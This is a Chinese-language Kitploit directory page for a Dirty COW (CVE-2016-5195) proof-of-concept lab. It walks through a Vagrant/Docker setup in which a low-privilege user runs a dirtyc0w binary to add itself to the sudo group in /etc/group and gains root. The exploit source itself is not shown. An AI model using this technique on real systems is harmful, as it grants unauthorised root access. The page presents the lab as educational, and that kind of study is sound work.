Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Dirty-COW-CVE-2016-5195- — 利用 dirtycow 漏洞以 root 身份登录 | Kitploit
工具/GitHubGitHub/zakariamaaraki/dirty-cow-cve-2016-5195-
权限提升漏洞分析漏洞利用学习与教育容器逃逸实验室与实践
GitHubzakariamaaraki/dirty-cow-cve-2016-5195-

Dirty-COW-CVE-2016-5195-

利用 dirtycow 漏洞以 root 身份登录

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
255年前尚未审核

Dirtyc0w Docker POC(概念验证)

前置条件:

  • 已安装 Vagrant

使用方法

首先克隆项目 git clone https://github.com/BrolyCode/Dirty-Cow.git 进入文件夹 cd Dirty-Cow 然后使用以下命令启动环境

root@kitploit:~
vagrant up

服务器构建完成后,通过 SSH 登录

root@kitploit:~
vagrant ssh

切换到 root 用户

root@kitploit:~
sudo -i

现在我们可以以黑客身份登录

root@kitploit:~
docker exec -it -u hacker nginx bash

我们登录到的目录包含以下文件

root@kitploit:~
drwxrwxrwt  2 root root  4096 Nov  26 11:10 .
drwxr-xr-x 41 root root  4096 Nov  26 11:10 ..
-rwxr-xr-x  1 root root  9880 Nov  26 04:52 dirtyc0w
-rwxrwxrwx  1 root root  9880 Nov  26 04:52 dirtyc0w.c

如果我们查看文件 /etc/group,会看到

root@kitploit:~
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....

我们可以尝试以 root 身份登录

root@kitploit:~
sudo -i

但系统会拒绝,因为我们没有访问权限。现在我们将利用 /etc/group 的漏洞

root@kitploit:~
./dirtyc0w 

终端将输出以下内容,我们需要等待一小段时间(2-3 分钟)。

root@kitploit:~
mmap 7fd0facf4000

madvise 0

procselfmem 1500000000

然后我们再次查看 /etc/group

root@kitploit:~
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...

以 root 身份登录

root@kitploit:~
sudo -i

root@27862a2f9973:~#

清理

退出回到宿主机的终端,执行 vagrant destroy

下载工具